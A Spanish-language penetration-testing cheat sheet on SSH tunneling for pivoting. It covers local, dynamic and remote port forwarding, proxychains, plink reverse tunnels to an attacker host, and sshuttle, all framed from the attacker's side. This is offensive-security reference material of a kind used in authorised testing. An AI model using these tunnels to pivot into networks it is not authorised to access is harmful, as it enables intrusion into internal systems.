SSH Tunneling

SSH, Secure SHell.

Local port forwarding

Atacante (puerto local) ---> Pivoting (SSH) ---> Destino (puerto)

# Local port forwarding
ssh -L <local-port>:<destination-IP-address>:<destination-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
ssh -L 8000:<destination-IP-address>:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000

# Ejemplo de acceso a un servidor web ejecutándose internamente en el 
# puerto 80, es decir, solo accesible localmente en el servidor (127.0.0.1:80)
ssh -L 8000:127.0.0.1:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000
  • -L = local port forwarding.

  • <local-port> = puerto local de nuestra máquina (atacante).

  • <destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.

  • <destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.

  • <user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.

  • <IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.

  • -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.

  • -N = sin ejecución de comandos remotos.

Dynamic port forwarding (socks / proxy)

Atacante (puerto local) ---> Pivoting (SSH) ---> Cualquier destino

# ProxyChains
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 <local-port>

# Dynamic port forwarding
ssh -D <local-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
# X.X.X.1 = máquina que nos permite pivotear
# X.X.X.2 = máquina de destino a la cual deseamos pivotear
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 9999
ssh -D 9999 <usuario>@X.X.X.1 -fN
FoxyProxy: socks4, 127.0.0.1, 9999
Navegador web: http://X.X.X.2
  • -D = dynamic port forwarding.

  • <local-port> = puerto local de nuestra máquina (atacante).

  • <user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.

  • <IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.

  • -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.

  • -N = sin ejecución de comandos remotos.

Remote port forwarding

Atacante ---> Pivoting (SSH) ---> Destino (puerto)

Atacante (puerto local) <--- Pivoting (SSH) <--- Destino

ssh -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key> -fN
ssh -R <local-port> <user>@<attacker-IP-address> -i <private-key> -fN
  • -R = remote port forwarding.

  • <local-port> = puerto local de nuestra máquina (atacante).

  • <destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.

  • <destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.

  • <user> = usuario de conexión SSH de nuestra máquina (atacante).

  • <attacker-IP-address> = dirección IP de nuestra máquina (atacante).

  • -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.

  • -N = sin ejecución de comandos remotos.

Creación de llaves SSH

ssh-keygen
touch ~/.ssh/authorized_keys
echo "command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty" >> ~/.ssh/authorized_keys
cat id_rsa.pub >> ~/.ssh/authorized_keys
sudo systemctl start ssh
sudo apt install putty-tools
puttygen id_rsa -o id_rsa.ppk
cmd.exe /c echo y | .\plink.exe -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key.ppk> -N

sshuttle

sshuttle -r <user>@<IP-address> <CIDR>
sshuttle -r <user>:<password>@<IP-address> <CIDR>
sshuttle -r <user>@<IP-address> <CIDR> -x <IP-address>
sshuttle -r <user>@<IP-address> --ssh-cmd "ssh -i <private-key>" <CIDR>
  • <user> = usuario de conexión SSH a la máquina objetivo.

  • <IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.

  • <CIDR> = red a la cual queremos pivotear y tiene acceso la máquina objetivo.

  • -x = permite excluir la dirección IP de la máquina que nos permite pivotear, esto es necesario cuando esta es parte de la subred, a la cual, se está intentando obtener acceso.

Última actualización